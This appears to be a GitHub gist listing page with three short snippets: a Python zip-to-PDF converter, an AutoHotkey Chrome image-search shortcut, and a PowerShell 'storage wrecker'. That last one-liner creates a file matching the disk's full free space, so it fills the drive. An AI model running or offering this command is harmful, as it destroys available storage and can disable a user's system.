Skip to content

Instantly share code, notes, and snippets.

View eatmaes's full-sized avatar
😳
bruh

eatmaes

😳
bruh
  • vibranium
  • wakanda
View GitHub Profile
import zipfile
import pathlib
import img2pdf
# converts all zips in a directory to pdfs
for z in pathlib.Path('.').glob("*.zip"):
with zipfile.ZipFile(z) as zf:
with open(z.with_suffix(".pdf"), "wb") as f:
f.write(img2pdf.convert([zf.open(name).read() for name in zf.namelist() if name.endswith((".png", ".jpg",".jpeg"))]))
@eatmaes
eatmaes / lens.ahk
Created March 8, 2023 18:26
AHK script to click "Search images with Google" in chrome.
#NoEnv ; Recommended for performance and compatibility with future AutoHotkey releases.
; #Warn ; Enable warnings to assist with detecting common errors.
SendMode Input ; Recommended for new scripts due to its superior speed and reliability.
SetWorkingDir %A_ScriptDir% ; Ensures a consistent starting directory.
#IfWinActive ahk_class Chrome_WidgetWin_1
^q::
MouseGetPos, xpos, ypos
MouseClick, Right, xpos , ypos
@eatmaes
eatmaes / wreck.ps1
Last active November 26, 2022 13:49
storage wrecker
fsutil file createnew $(-join ((48..57) + (97..122) | Get-Random -Count 32 | % {[char]$_})) $(Get-CimInstance -ClassName Win32_LogicalDisk | Select -expand FreeSpace)